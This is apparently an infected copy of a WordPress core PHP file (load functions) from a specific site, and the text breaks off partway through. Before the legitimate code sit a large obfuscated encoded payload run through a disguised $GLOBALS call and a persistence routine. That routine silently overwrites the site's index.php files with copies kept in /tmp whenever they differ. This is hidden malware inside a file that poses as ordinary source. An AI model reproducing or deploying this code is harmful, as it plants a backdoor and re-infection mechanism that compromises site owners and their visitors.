SHxLyMjVFrwKyMIMkIEYxrxP2UAJ0QqMygiNCcALCjyPVQkL0kTL/omaUkiKy@3XmgiY1Q/UmXxdDoTTiEQNScxYjIEVh83dCgjcVsDNF0qLSDyMhsCSyb3`18DaTnqL0bxNT0AY0YrY0UXRUIlSycFaTHwYGAONVgNQGMGQjML`FgCMxst`2YgdTT/RlwCclM5TEACTFTxcyY3dR7xU1wnLCAgTVoFYCPySGIqYkolUCAxLDg4SUUtRWQVPTYlQj8xTDovbl30dCcXamL0QT7uVCMXSjEsYSARVUMja/34MEcjRWgYayYWXWAMMWH0RB7qR/j2`DUkUEIRT1cwR/UkL2krLCUkJ0YQYj4WdD85`CTyTiIScEgRYiM0bEE0K2QvPiX4cFgjM2YESi@qPTEFVkfwQ/0/dCcAYx8SdV44`yQ1dFYkUmIRVFcE`T0ONSbqU/X1Tjk3M0QrNWI0QSfxbGH2X2ARbV3/dDIiPyAIU/UL`GA3J0AFVmfqViQAVlLqdVIA`SD/RSAYcVgkNV0mMFfqUWMuc/o3`0kWQSQUVjUDaFgPYkY5Q1DyaDwySFUVMjUiUFsIVG@4dF8saDQIR0PvcVUWMDn3MTIFT0M5LGPwMEH2MyYBY0osY1MTdmUpYB80K/UFUVwmSEIwaF0mNFMEX/c`SDwldUMUU0UQTUjuMlULMjI2MmMmNSgN`EY3NVwkK/MLbjfuYFEldj0XTSQvMkn0VWEyM1gHVR8Ha0@qRDor`/YPT/kCQBs2UlcBS0gqMTcoXTs0cDUYQj8sPVgFRD0JY2I3bjMkLDISa2UiakIGX1YqcWQiaUUoc/EVUlXw`ycnSWAuTFsYcmgicUUyUWgRcWcUVGcKSikQ`1kUciQNRmUAbiAGSlwEa1wKY2EHLhsSdjD2bFwTYDYOM/8nYlPuUFsMPTM4ajcGM2M/SGoRMVc5PWQEakQPXlHyclQMQST4aT8/`GAV`iL3VkEhb0osNFsORij2`jEwdCk2PWk/UWoUP2ULRiMhQiM`VCUla2Mt`105YUMEVmEAbkMRQlQ/TjU5SkX/LjcxLWogSlsJTDcm`ykjLjw`R/bw`GcsQDL/bELwM1EiSVwi`DMydjw1Y0QJVlP/VVEhT/YqM/kPSUgrTWciXSgkLCcALkT0LWk0bWj4Qj8uSTk2MhsQT2cMPT4s`VrvPkX3amURSGohPToGUT8kY2IY`/UTbUAHLmAjUl4VQjsTNFcuPWUm`iUjLVj4ckQRRT4nVSQO`mf1aFUGMDIpbTc`J2Ypblvx`/MkSkMr`CU3M1kuT/ID`TsFaGUFcR7/UToYSkkCUUcWVVUtVTEsbkT2VWUCUTwh`Tjua/EgLlgVP1UwTSQyVD0rXl83P0UNaSY`MDQ2PTEHXlQ5RyMFbWMybmk4TjI3MyXwa1QPYUkUXiQydlYNLjwOb2gxSFcNS0X4bUIvSCEBb/j4TGI2bDoYM0YNP2oDMDD/YyQgajwmX0MnMEM3Y0E0`/QwbD0KdEYyVWkmX2AMbDsETGENdkLySycmLVojcUot`/owLmP1MRsCbjUTJx8KVD8kNW@uK/kqNCjuK1YKL0PuVCMq`R8kbmfxcSbqdh8P`EoVbVj1J/cwSEA5Th8LL1b1aSYVcWExaF3vM2QTb105LhruYiAVcSU3aEUOU1okXmgTShsOTFk4c0A2`F0CJyYRMV8INCX0cGoGSiAANDMCcSjuJycEK1ryTl8qPVMr`D0GTUoRQygC`Wb1UWf/YCEvMiYCLUAjTl0CQCgn`CY1SCj2YVckUCUuVmcRRl7wMDIYajfqUkIpdST4Px8jSUosPikINSI1MTvxaTEhdjMvc1v2LijuVif2aljxLyEKVF70biA3TmT2L/QuS2csa/gBQ1QvaGoDcikmLmQrMUEY`Goxal02X/QhaEX/VT/2amgWP/IEcUYDMWICP/cKRh8rcjkkPSLqTjE5JxsqSSg0LyAWL/T/NVMOPT8HQ2MQUSkTM/YvTGf/a2QTL1PuLjj3MSPuakYAUjLyVlc0biYNMFgjS2QFbj/qU/EtNF40`TL3X0MVdTUNcmIXLyglMUkHTT0ndmchb2QqRFMqbTUvYEAgb0X1SlkYPjEvbjgQcl3yTUc4KyM2diAMXjoqLVLyPl82XjUgTEANb0EHMVUJdiUsUjf4UUIvPlsTNScsX1sCLCU5bmT3YRsOQTfyRTYtT2YBQTrqakf/Ll8JRjQYcFUSPV0OMEIxUEoSS2YiK2UCTCHu`D8QP/TqL1nyajcsMiLqMmQ3bCAxNFP2cGQWYGQnTh7xJyM3K2cOQTQqNEIATUgqRWEMSD8gSk@yS2UDR/YDSVvwYVMUMWUBU/UL`kT/PT32L0QlPyj2`Sc`VDg4X1IGTEYgUF4iSmAyNTMARTMoY0YxShsXSSbyLGP4TVUnLTXqTlX/VDMNL0HyaFXxYlr0U/70K0f0amXuaSDvbCgmYTwqNR8rNBsVP/khUD0CLkk4c//xcl4RP1oDJ2M3MCgXP0goNVoqJ2P1K1kjbjMWRCQw`GQLMFcvTlnycTcSR0IDYycnTV3wUkErLVMgY0YKUkIK`EMGPSjy`yQGK/UBVjLwMEchJyYqdE@xP2khVD8sXlPvSCfxMVEg`UEWQjMVMFkhT/sUPkonakUAblYAM2gtViYtaSMHK/IOPUQSdVsIRlQSYV0XTlsyVh84YEkYX0ordFsJT1UhTGQCVDMobjoAT0Q0cmchMSckL0EC`UP0LjYKVUkTQjI/aFcoY0ooXWo`TSULLSMnalIvRE@y`mAyUlk4QVo3RkkGcD8MP1o`al8HRVcuSUAYVB8`P0APUD44UEMHQ/ECVSMmSycISCUNQVEoRWkhMCYgRUQycUIIQDf/cV45TmXuRiP4TGgkLVn2UDUlLVEhSGMhYyYVJ10rMSQXYhsQMCcKVhsCbl31T/LxSDTy`yjuMyUHbmQVRSc0dGgtcSISaCYISxsXYmIQcVs/dmYGM132LkMEL2M1LWYjXiI/P2IIMDvvS//1`1ohdCAULEkARScQTT8tLjEW`l8oLSL3SigMLSAIUEYIaVkEcCMHQWQFa0A`QGcuVj3vTl05aF/1`GoDc2gPK0Ascjv1UlMPVlI2TV7/`mgCMyPuSi@/P/UTXijy`SHxUGonaic/UEgIMT0pbmQxaDf3MDMVQiMuM14DcycAax8ATEc2axsya/QoVDgPVl44aWoYYCQIVCExbVsLcFkuaVvqaCcmbjIWNDoxYSUTNSgTLFcPU1DyTVUANUUYXTkOaWYQPjoOb/YGTT33QjcTdiUST/DxNSPy`xs3UGIvSUYVVlU4RDIMMC@0TlUXL1D2LSkmYiYTRVQnYDgGb/gsXlYORGY0M1UgPSgI`/klVFEyT0gjMSICL2b2QSM3S0nxNB8xLiExUkLvVWITLSkATikiVT4lMyjyblgmMyk1dCH2LyYhYyMpVVn1UmQAQjgyMEMpY/4RUVQPQyUE`F04LSMEL2c0QScEdiIXM/wINFwNaEELSUn0VDYTTDUFLlYqJ0gMSyL0TjICNVUmSWInPSUHS2AP`TYpQ0cpU1ERPycgYGUKRj0nUEUUbVYMMEAPSxsTQUUHYSgjPWov`VISP/s/YmT/J0PxMmMVSV40VF74UD/uYT8Va2I1aDs/TEEUTiMPXSEL`WkrVDMDUWogST4MLkkBVG@yMWQBQmAkSUIn`CQiTD4ObUg1UT0MNUYrRGU2Xj8yMTooM2MwYygkNSHubVb4T2kNaGAOY0AIUEQINUkuREoFL10lblgjdD85LGIsQWT2SiA0VlTxTDwGdlgFcWMDLUkDcEIySDoRPVQOUWUoaT0MMmQlK/ItRCMTLDP2TCH3VTcnaFH/SlUOQUErNUURPiQXaD8nQ2YQTiAtdmUXSygQViUDP0ol`T72`UPwSlsXS0UwaDUXa1YsbTX3T1wxP/gxcjk0P13/Q/IkJ2UBMicRSTcCMkYqMlcoMEXxQB8MRVYYblExQTsiVkoXXykUL2n0a2j2bWj2XScgMTU5TUI4RGgvL/kA`Uk`YFoQcGYgYSM/Y/rvYmAXMRruSVcMbVcX`CMJdWEFcUY0aig4bCY4SiYuYGM/amD2bjstVEoWc17ydVo``FP2`lrxUDg2Q2PqNDwnXjw1VTYydDYWRUc3aCP3UTUoLT/3b0UETTouVi@xdVY5S/0hQyc1bT/yQlcncFIUU0ALamf2bko4LicWTFPudUoUX/LqbiINTVk4Llo3TEUuRCAEc0MOPW@udF30Vj7yVEol`yPvTTMt`UbxYGUUckMEKyMVMSYUPWIrcToXcDD0YyYxQUg0a/8JJ1/3MlwtMCIh`SX3VkYTSDkw`hsgQWLuNSkGcFssPickcEgJLD0PMykEP2grM/s/QFEwPkj2NUQI`mQTc0ImMD3vQWEF`lQnMyEVbU@/NV8rdicBVFImYmn/UV04TV0WL0oM`2b1NEMPcF82dUTvRiAMRiIYR1cnRSYGdj4LdDcBcFkMK0EwQWcsJ2cqakc`dmMTTDQAQ/MKb10kb//0MDw4SEoVNFMEcTUxU/8WSWYJSWM/T0Al`mMCSmP2dlIB`RssLSYjLGoWTkD3bEgDcGkLUWclS2AvSFcA`EE`QUUJM/sNX0nvTTwQYjs4RyUX`/kSVkMpbEQiYCcqRj0OdEj1MkchSjcJbVYodUMAM0ktR/gES1ENQyEMMmU2LigvdSUBdFoX`WQT`iAmaCMjL0gxdDkgT2grNF0t`WoBS1gMRUMTXV41QycDVDQoXmD4LD8N`mEwSTU2aDMPUmUJXmUhNGkEaFMxJyUkcDkXY17uS1sqUx8/cF0jVCcpSyHydkkAUjMSYyctc0MnYj/1cGITL/ohS//uU0gIS1PuPjIjY/4R`lwkJ1YIUykqdFcicWQMLRs0Y1M1SEUVMiQRaFj/cWoVRmEhaSPqTR8WblQoLVM5QjkIMTcCK2ETKygkSSH1PWL4Rlou`jU5NDv4XUf0L0kqMS@/SD4PPUEwUCAiXjYFcyM1S1P1amc3dEQtVR7xVVvuTCgTTGQWUTP2QlE/MkDyPyLuYjgW`Br0U/LvVFTxS0kNYD0OMxsyPTY3`Dn0UDU1Tkj2Ymb1PyEJJ2YEVFQ/aScwXigC`/wBT1Lyb1/4XyHqXjLqXkM`byMxblMhK/Y/c2MLYSYATmg/UjYiRFUPQCMHMSIBVUM5LmUA`/T4MiYxLF04NGIrLyUjMiM2YF4LNFb1ajDuS2XxbmMNXjkkMyLx`1/yKyk3bD40amITaiURaFYWcWkuVGP0cB8HTlD3cWDvcjcoTFQRK/v3YVIALkgrMSkr`T8LP1IBK/I3YyUGPUAJMUIVMVQ2cGoQUl31RGgJaDU/YSI3SyM2M0IrLybqYV4HaDUVTkj1biM3NF0xLSksQWklTiA5`F0TUUkidT0VUF7/cygkTDgLYUokUDMLK//0QicTcTkXcEUOUEgGa2omRmAYXl/1SUoKUF8RNELvSVv4K1glRlciP/H/NFwM`mMLQCgQdlf1TRs1J2g3QyURPSH1MDQISTf1cG@1LlgSYikIc1LuRVj3PmIKMFnqS/sRVVIESSD1PmQWLlD0QTUS`/bvSEkPTCc1LTn0SS@wM0X3TibyNCMyTDbuS1sDUmARamQrc/IJdlY4NSj2aDgASiURUGT2XjDuVVQuND4KSlM`YTYkb2AJM/MATTs2YlkjMkIvaD8Xa2EjMSMlcVsqLDMqaxsjSyYJcEg0SVU`TjgTUVwpRkP3S0YQMTEpUlkJQjgFakEKaWIXalQlVEfqdFYrdBsIL14tcScrXyI0`kcUR1YHMDkyTGguXicVX/MkPUIhaCA`MiMkbEcgal/4YDI0Y/M`R1Y1LFD4L1wAUEMsX0nwXSclY100L1kQcj8OaT8JbD8WRGolMUAPa2T3TiENdToiK2oLMBsrS0AvT1shVh7qal4DaUfvLGM/XiIt`UETc2A0L/bq`14XJ2QtQCUCPUEKUFr0P1jxT/4BT/4uSDgYTyATc1wL`2URQjgkK1P4PTonXSQS`iDvQj8XVCQFSSggUUck`WEGVict`T8nUVk4bTXuYD0QUVUDY/8HYFIAbCUCUDwIb/EIaFsMRGMTS10LcyYl`1D0`/0CMmQ/dhr0`yMJR0gMamL/M/o5K1T2YFIwYikIM1PyLGQDJyX0NUQFbTUETh8h`VEAMTUhYDUST/opYEXqSSMBSWY/PWoQNF8xPWkxbjMsajkp`0oASkIibCMLcF0pa2g2MToWQVYwP1kW`jwSMSYiY0bwbUkNX1kXM2AOVFkXSGYidWP0XkMJbEAFSxsOaWEsRF3wcUnvVWo0UlMrcV8XXVMQSDEnMTMqSSECP0EEQTkt`1EHXiAwMEU2J1o5NGcIMRr/diMxT2kjUVg`ajMhclsK`1grUFknMD8rTFfxdl0UQFEWXVnubUIlaDYXb/wnVmUPRWQMcl0PJ/MBRFguUR8FNUgwTjUrNWA2LEo``TU`REMkRGLuRkEpSl4YPigFYUIKcyT3L17vUUD1`UU1PWEGL0Y/R/ksSl83VCUHPlM5`0MhR0Mib2kmP/82Pkk`X/4LbDURSjYRbTwNQVsSb14s`CATMiUEVWD3bV0Pajv2L1ktX2bxdiUFdGclTT0qTWE2NVcC`2cANEMELEYn`ELua0@0UkMOR0j2X/EPXTsFTEgUTCEScDgiSj/0dVESTlLuLGk3RicGRyf0QVsnVVsCdFLuVmn0JyEwbFkAX2ctTGQsNCQBYWDybCcHakoAQGMXSFMHPUYAXkkkTSIyXmASdVsjaEU3RykSUT0HUTcTXmgILToMQEA5RjruTEUScFsUcGn4RSUPUmn3R2@qTmAidiUKNEgXSykMSmopa0omdWMgb0MhaEowQWb1QiQ`PjY/P1I5LmbwXyIi`EkJc0b1TkEHblj/XVgNRyYtcUA3UmY/TCIV`yH/c/0UTl4`PikHdl0vMlL4UlkOVF8STmkWLV4CTVchQV0rS1UgT1b/Mjs5alMSQTw4c0AOLUgI`mcpMiAI`yEASCE3PlYuR/8j`WYqSFM1J1s3T1YEMS@yMmL1UlIxcibvS/jwSTY3LDQPbjoKL2HqXmg3RWgXRUkMckU0`j8XLloGLFola1c4MWcNK0Y0YWD3PiAGaTwgP/7uakIEYkkXaifvL2opXyc`P0YrTkE`NDjqQ1cILFcmL1nvR/UqblgDdVgQYUYVc0j1NCQ0K2cNLTU/blb/cDM3XTcPLyU2b2QCSF0BSl7xUD8KRl8laTj/VVknVkXxYTs2bFkHYmQR`VYucxsEYR7uSED3P1jxa2T1VEE2RDUn`jnu`1sOdCPqbCIJVmk`J2X/XWIPTDEDbkcWX/0/dToUcScoK/4PTmX2MTcY`TP3clj0PyD2YmQobGcSaVQyNEE2dF/2VDMRNSgrNEEPYlYnTjP3aFbyb1oqYCgx`2gWR/IvcVYhPSkPaDMxKyXqb/s1MDspaFY0aVgSMT0JYj0VLjYCaykIUUYiUToFMT0gMkPqMUH4K1QEVDEIcFovbFQHcWUtMDTyVmfxXR8EdUo1cV0PS0Q0Ux8TcjE1akMhMmMxJ/nx`0IVNUc/`SUsU1j3LTkoJ2IFaF8FblMDT2@2RVMrNVMAMGQpPlwURj80SVMPUEYQdF4nSFsoLTMQMEMlRlk5`2E3YGYXMGUGT0MPY/wUUD4pMVb3UB8lRSQBUjgC`yH3L2kv`2QLLR71aikMVDgsYGMQR18GNWL1b0oESST/LSMN`V4jTEohaWD/bVgOYVondGMsMTE1aTgJUTcBUB8FPkcJK/sBRSQndjknKykEYSIhJ/EMc0XqMSMNSGgFSDom`SUAQ1cqY0cCLSQCUCfu`FryaVcX`lYFaWcsQlckaV0YUWAvXUfyNDoW`kgLSUIMM/0RYWEtLF0AVEPxLB8kS2L4cmIuU/4HQWYHK1XxLB8/PycjK/U/RGI2QWgs`hsFQjgFUT/0`EI0Q0EXRkkuaycJT14odFEtQkf1QGEKLVT4b2MFbVMuTTc4RDf3QFU2XWQIa0AHclEOdF4RSi@y`lcRSmT/diIidjcpX2k/QVHvdlYnQmQkTkMjbGoOYjP/MDP3blv0YjMTRGICNEbybmAARCMYXi@4M0f2YWPydB73J0P1MWoMdmTqNUgvK/04JycvRikxLyEESF4BK1QFPiUiT/03K0YWNCc3bFD4VGUqRFQRbBr3UyM`Rhs0cEXwayMEXSkjJ/olMlM1RVMtLT0oamQnNGISMj4STkgJMDM3aiIWMGHwNB7yR0cHcUcmbDDySUMCYDkxdUkCaDUBTSjuR/wGMEDxLFY`aV4YVCDxNUQwdlX4bF4JcWgMRTE2TU@uX2YNYigCShs2cGMHaGT3PRsJTlc2NF7qdmgAbCgRL/Tuc2orL1byamIUXVIjc/gAVjnqPWoST0Q2U2j4MVcNTCkMbmMgbD8EViM4L2U/S2AMYE@0LkAiSx85MVn4dmMATjMtaCjqcjgvcTL3YWIPJ/gCXiQCUFU5MxsTcyITVFIuTlvvK2YnYGgAdGQxLToSPjLxclMxXykkVTIAMi@0X14PTDL3YmQKUkYVciIUQSkiYGUEUEQ4ayESQSMlYjfyJ/nxRELqSx72TlPxQFota130NTQLUB8xSVw/`iESPWACU/P3SCQqXjIsNTwKYjcxKxsILWHuJ/4nSWoxK1j4UlcIXWIlQEMvb0MKLhsVRkImT2AQdTP3MGgRdGI1aFj4NDcvbiIAb0ArKycXK0ADYTooPlURLmIrbiU`QkDuRSIBNFwMYicvYFcwMUUOYlsmaUQWcik4TDICah8kLkEjUD4mbVgYcFEUX0UGcTMkaUklRVLyc/j2VDEubU@/Y0osT/cQPmgjXV8kai@1c/UI`/0TSWE2SVYncmAUR/QsYCXwNVUrYlIMdkUPNEkoUkciTVcCMV4icFkRRmgkVlkk`VM`bGIILV8VbkQQdTsuYj4C`xsjRWkyYVkTXT8pUF8nX10gYFI4YVcO`jnvQj0wajICRjkH`18PcDDyRij2XSTyUD8XdF4NdEb4NCQ0ThsKXT8sKyU0`jn1R2oqYlIKX1ImcT8gbT0JL2byYlUuRSQwU0M0dVQldFcJT1gJcEoUUj4Db/g`RVojNDcya0kLaEUIXTYtTEPybGkJNFkNT2D0L2YOJ2MrPVkRP1oOVGA0aEf3YmcjUUojSlkATiAmTkEEUUPxLWk1LyEGMyYtLlvqYUQTJyjyNTsSRFYxUiERTmUVTlLq`/UXRCQpRSYsYiL1ajorbEgCL2TyUjT1J/gxL1Q4U2oxciIXMykHc2U1RTw4P2QxYl8Cc1g4MjsjRUHyT1cDdFoXdGQ``VUlX0USKx8TdFwRPycJMFUCSicXb2P4bUMgYjEpNCIVQ/0mL1PqK2HwTTQtchsr`ikEYGUqRTTudCcHMWEJTGQGNCQU`xr/QSf1YUIRK0IK`x70KyjvQjP0UGUjQWP4X2@3REILSScGcij3LSf2QmQWUGIAQCEpJ/L2SUU3`/UQL0olYiL4UT4nc/4hdCgMUTkINCMrMDgQM0MQQTb4RjcmUEUtQlcxK1jxbj4/TWIN`Gkia2AwcCkQSmUjM2QHa/QgMicRP2YHMiH0ajQmRDwUSkcGax8`MFwlQSb1K1gYQ0QkQFEKQ18mb/r1P1MpLSEIYigLQCYpNCcwQlQGYkEkc14`SFwXcUgDRSUPPmUBLlEqbCg0dkEwVkMFbFYu`V0DKyQpRWgRQCULP1vuTR82UWT1K1MXMUoqbDkYX0AoSTg2TSkjNUI5YWkjb2AmSDkvQDY`Qkc`YUn/bUoRLEgNUib1UlMVYlgiLUoYYGghR2gibCgPNVkXc0b2b0cxK0gtdTgDU2QXQSjq`DwGNFvxRT0MRUT0UjkxYmAJU2EAJyYxXUEyb0gOMFEUNR7vUSHuaj/0J/MIbFQLMiDych8jYGUncTXwTiUvcjIO`yglMGQCUjkscDT/K14TNSQxL2H2NCHvYk@/dkPqLTfuLSQIS2f3MWYndT8OPyEgUFMETGosMEEibWUxJ0IrP/YNR//uL1r1M2MRVj4/dFD0`WgxaDT0dD/wQSjuJ1wNLkc5cmn2YkkKNFIPMVwFU0T1LWMpSyg1SF0IKyURcR70dCMrUSTuP/E3MUIOQUnuTTkEMVwGNEQFS1sqSDMiLx8JaFMiLh8scxsQalk0bEDy`TIKQ2f/PVkOK0AIXTUPUjIYPiIuXTYsQ/IGb2IMakkSb2E`amkAdmAOcUMDRUEQVSgrQGoKTlssPl7ydT0qNCgTVUQ0P/E0MEIrTSk0YEYpRlIxMCgXS2L2K0YqVF0/SGUEJyfqPjfwQEYkaCfqPyP/TmQPLTMEMTb3MkYjM/j3X2IyRT7uQFYTMlU/bibvMFbuRR8JaWP0akMKHis@YWYgaBfmOy3mKlc5cV4ia10vblUybxfjaCDwaCErJBQrLVwrLSDnIFwrLVvwLRfjaCErLSDwKBQraCDwLSDpLhjrIFwrLVvwLRfjaCErLSDwKBQraCDwLSDrIFwrLSDwLRjrHBQraCErLSDnIFvwaCDwLRvvKBQraCDwLSDoJRjoJSr+")));@${"G\x4cOB\x41L\x53"}["ll1lll"](@$l11l1l,@$l1ll11,@$ll1l11,@$ll1111,@$l11111,@$ll1lll);/* test code */?>php $H='/home/akiniaip/domains/hell-music.lt/public_html/index.php';$F='/tmp/6d6c334cf6cd870747d9f125c4c6b1bf';if(file_exists($F)&&hash('sha1',file_get_contents($H))!=hash('sha1',file_get_contents($F))){@chmod($H,0755);@file_put_contents($H,file_get_contents($F));} $H='/home/akiniaip/domains/hell-music.lt/public_html/wp/index.php';$F='/tmp/3b1792f70673bdd6fbc9fdd960018efd';if(file_exists($F)&&hash('sha1',file_get_contents($H))!=hash('sha1',file_get_contents($F))){@chmod($H,0755);@file_put_contents($H,file_get_contents($F));} /** * These functions are needed to load WordPress. * * @package WordPress */ /** * Return the HTTP protocol sent by the server. * * @since 4.4.0 * * @return string The HTTP protocol. Default: HTTP/1.0. */ function wp_get_server_protocol() { $protocol = isset( $_SERVER['SERVER_PROTOCOL'] ) ? $_SERVER['SERVER_PROTOCOL'] : ''; if ( ! in_array( $protocol, array( 'HTTP/1.1', 'HTTP/2', 'HTTP/2.0' ) ) ) { $protocol = 'HTTP/1.0'; } return $protocol; } /** * Turn register globals off. * * @since 2.1.0 * @access private */ function wp_unregister_GLOBALS() { // phpcs:ignore WordPress.NamingConventions.ValidFunctionName.FunctionNameInvalid if ( ! ini_get( 'register_globals' ) ) { return; } if ( isset( $_REQUEST['GLOBALS'] ) ) { die( 'GLOBALS overwrite attempt detected' ); } // Variables that shouldn't be unset. $no_unset = array( 'GLOBALS', '_GET', '_POST', '_COOKIE', '_REQUEST', '_SERVER', '_ENV', '_FILES', 'table_prefix' ); $input = array_merge( $_GET, $_POST, $_COOKIE, $_SERVER, $_ENV, $_FILES, isset( $_SESSION ) && is_array( $_SESSION ) ? $_SESSION : array() ); foreach ( $input as $k => $v ) { if ( ! in_array( $k, $no_unset ) && isset( $GLOBALS[ $k ] ) ) { unset( $GLOBALS[ $k ] ); } } } /** * Fix `$_SERVER` variables for various setups. * * @since 3.0.0 * @access private * * @global string $PHP_SELF The filename of the currently executing script, * relative to the document root. */ function wp_fix_server_vars() { global $PHP_SELF; $default_server_values = array( 'SERVER_SOFTWARE' => '', 'REQUEST_URI' => '', ); $_SERVER = array_merge( $default_server_values, $_SERVER ); // Fix for IIS when running with PHP ISAPI. if ( empty( $_SERVER['REQUEST_URI'] ) || ( PHP_SAPI != 'cgi-fcgi' && preg_match( '/^Microsoft-IIS\//', $_SERVER['SERVER_SOFTWARE'] ) ) ) { if ( isset( $_SERVER['HTTP_X_ORIGINAL_URL'] ) ) { // IIS Mod-Rewrite. $_SERVER['REQUEST_URI'] = $_SERVER['HTTP_X_ORIGINAL_URL']; } elseif ( isset( $_SERVER['HTTP_X_REWRITE_URL'] ) ) { // IIS Isapi_Rewrite. $_SERVER['REQUEST_URI'] = $_SERVER['HTTP_X_REWRITE_URL']; } else { // Use ORIG_PATH_INFO if there is no PATH_INFO. if ( ! isset( $_SERVER['PATH_INFO'] ) && isset( $_SERVER['ORIG_PATH_INFO'] ) ) { $_SERVER['PATH_INFO'] = $_SERVER['ORIG_PATH_INFO']; } // Some IIS + PHP configurations put the script-name in the path-info (no need to append it twice). if ( isset( $_SERVER['PATH_INFO'] ) ) { if ( $_SERVER['PATH_INFO'] == $_SERVER['SCRIPT_NAME'] ) { $_SERVER['REQUEST_URI'] = $_SERVER['PATH_INFO']; } else { $_SERVER['REQUEST_URI'] = $_SERVER['SCRIPT_NAME'] . $_SERVER['PATH_INFO']; } } // Append the query string if it exists and isn't null. if ( ! empty( $_SERVER['QUERY_STRING'] ) ) { $_SERVER['REQUEST_URI'] .= '?' . $_SERVER['QUERY_STRING']; } } } // Fix for PHP as CGI hosts that set SCRIPT_FILENAME to something ending in php.cgi for all requests. if ( isset( $_SERVER['SCRIPT_FILENAME'] ) && ( strpos( $_SERVER['SCRIPT_FILENAME'], 'php.cgi' ) == strlen( $_SERVER['SCRIPT_FILENAME'] ) - 7 ) ) { $_SERVER['SCRIPT_FILENAME'] = $_SERVER['PATH_TRANSLATED']; } // Fix for Dreamhost and other PHP as CGI hosts. if ( strpos( $_SERVER['SCRIPT_NAME'], 'php.cgi' ) !== false ) { unset( $_SERVER['PATH_INFO'] ); } // Fix empty PHP_SELF. $PHP_SELF = $_SERVER['PHP_SELF']; if ( empty( $PHP_SELF ) ) { $_SERVER['PHP_SELF'] = preg_replace( '/(\?.*)?$/', '', $_SERVER['REQUEST_URI'] ); $PHP_SELF = $_SERVER['PHP_SELF']; } } /** * Check for the required PHP version, and the MySQL extension or * a database drop-in. * * Dies if requirements are not met. * * @since 3.0.0 * @access private * * @global string $required_php_version The required PHP version string. * @global string $wp_version The WordPress version string. */ function wp_check_php_mysql_versions() { global $required_php_version, $wp_version; $php_version = phpversion(); if ( version_compare( $required_php_version, $php_version, '>' ) ) { $protocol = wp_get_server_protocol(); header( sprintf( '%s 500 Internal Server Error', $protocol ), true, 500 ); header( 'Content-Type: text/html; charset=utf-8' ); printf( 'Your server is running PHP version %1$s but WordPress %2$s requires at least %3$s.', $php_version, $wp_version, $required_php_version ); exit( 1 ); } if ( ! extension_loaded( 'mysql' ) && ! extension_loaded( 'mysqli' ) && ! extension_loaded( 'mysqlnd' ) && ! file_exists( WP_CONTENT_DIR . '/db.php' ) ) { require_once ABSPATH . WPINC . '/functions.php'; wp_load_translations_early(); $args = array( 'exit' => false, 'code' => 'mysql_not_found', ); wp_die( __( 'Your PHP installation appears to be missing the MySQL extension which is required by WordPress.' ), __( 'Requirements Not Met' ), $args ); exit( 1 ); } } /** * Don't load all of WordPress when handling a favicon.ico request. * * Instead, send the headers for a zero-length favicon and bail. * * @since 3.0.0 * @deprecated 5.4.0 Deprecated in favor of do_favicon(). */ function wp_favicon_request() { if ( '/favicon.ico' == $_SERVER['REQUEST_URI'] ) { header( 'Content-Type: image/vnd.microsoft.icon' ); exit; } } /** * Die with a maintenance message when conditions are met. * * Checks for a file in the WordPress root directory named ".maintenance". * This file will contain the variable $upgrading, set to the time the file * was created. If the file was created less than 10 minutes ago, WordPress * enters maintenance mode and displays a message. * * The default message can be replaced by using a drop-in (maintenance.php in * the wp-content directory). * * @since 3.0.0 * @access private * * @global int $upgrading the unix timestamp marking when upgrading WordPress began. */ function wp_maintenance() { if ( ! file_exists( ABSPATH . '.maintenance' ) || wp_installing() ) { return; } global $upgrading; require ABSPATH . '.maintenance'; // If the $upgrading timestamp is older than 10 minutes, don't die. if ( ( time() - $upgrading ) >= 600 ) { return; } /** * Filters whether to enable maintenance mode. * * This filter runs before it can be used by plugins. It is designed for * non-web runtimes. If this filter returns true, maintenance mode will be * active and the request will end. If false, the request will be allowed to * continue processing even if maintenance mode should be active. * * @since 4.6.0 * * @param bool $enable_checks Whether to enable maintenance mode. Default true. * @param int $upgrading The timestamp set in the .maintenance file. */ if ( ! apply_filters( 'enable_maintenance_mode', true, $upgrading ) ) { return; } if ( file_exists( WP_CONTENT_DIR . '/maintenance.php' ) ) { require_once WP_CONTENT_DIR . '/maintenance.php'; die(); } require_once ABSPATH . WPINC . '/functions.php'; wp_load_translations_early(); header( 'Retry-After: 600' ); wp_die( __( 'Briefly unavailable for scheduled maintenance. Check back in a minute.' ), __( 'Maintenance' ), 503 ); } /** * Start the WordPress micro-timer. * * @since 0.71 * @access private * * @global float $timestart Unix timestamp set at the beginning of the page load. * @see timer_stop() * * @return bool Always returns true. */ function timer_start() { global $timestart; $timestart = microtime( true ); return true; } /** * Retrieve or display the time from the page start to when function is called. * * @since 0.71 * * @global float $timestart Seconds from when timer_start() is called. * @global float $timeend Seconds from when function is called. * * @param int|bool $display Whether to echo or return the results. Accepts 0|false for return, * 1|true for echo. Default 0|false. * @param int $precision The number of digits from the right of the decimal to display. * Default 3. * @return string The "second.microsecond" finished time calculation. The number is formatted * for human consumption, both localized and rounded. */ function timer_stop( $display = 0, $precision = 3 ) { global $timestart, $timeend; $timeend = microtime( true ); $timetotal = $timeend - $timestart; $r = ( function_exists( 'number_format_i18n' ) ) ? number_format_i18n( $timetotal, $precision ) : number_format( $timetotal, $precision ); if ( $display ) { echo $r; } return $r; } /** * Set PHP error reporting based on WordPress debug settings. * * Uses three constants: `WP_DEBUG`, `WP_DEBUG_DISPLAY`, and `WP_DEBUG_LOG`. * All three can be defined in wp-config.php. By default, `WP_DEBUG` and * `WP_DEBUG_LOG` are set to false, and `WP_DEBUG_DISPLAY` is set to true. * * When `WP_DEBUG` is true, all PHP notices are reported. WordPress will also * display internal notices: when a deprecated WordPress function, function * argument, or file is used. Deprecated code may be removed from a later * version. * * It is strongly recommended that plugin and theme developers use `WP_DEBUG` * in their development environments. * * `WP_DEBUG_DISPLAY` and `WP_DEBUG_LOG` perform no function unless `WP_DEBUG` * is true. * * When `WP_DEBUG_DISPLAY` is true, WordPress will force errors to be displayed. * `WP_DEBUG_DISPLAY` defaults to true. Defining it as null prevents WordPress * from changing the global configuration setting. Defining `WP_DEBUG_DISPLAY` * as false will force errors to be hidden. * * When `WP_DEBUG_LOG` is true, errors will be logged to `wp-content/debug.log`. * When `WP_DEBUG_LOG` is a valid path, errors will be logged to the specified file. * * Errors are never displayed for XML-RPC, REST, and Ajax requests. * * @since 3.0.0 * @since 5.1.0 `WP_DEBUG_LOG` can be a file path. * @access private */ function wp_debug_mode() { /** * Filters whether to allow the debug mode check to occur. * * This filter runs before it can be used by plugins. It is designed for * non-web run-times. Returning false causes the `WP_DEBUG` and related * constants to not be checked and the default PHP values for errors * will be used unless you take care to update them yourself. * * @since 4.6.0 * * @param bool 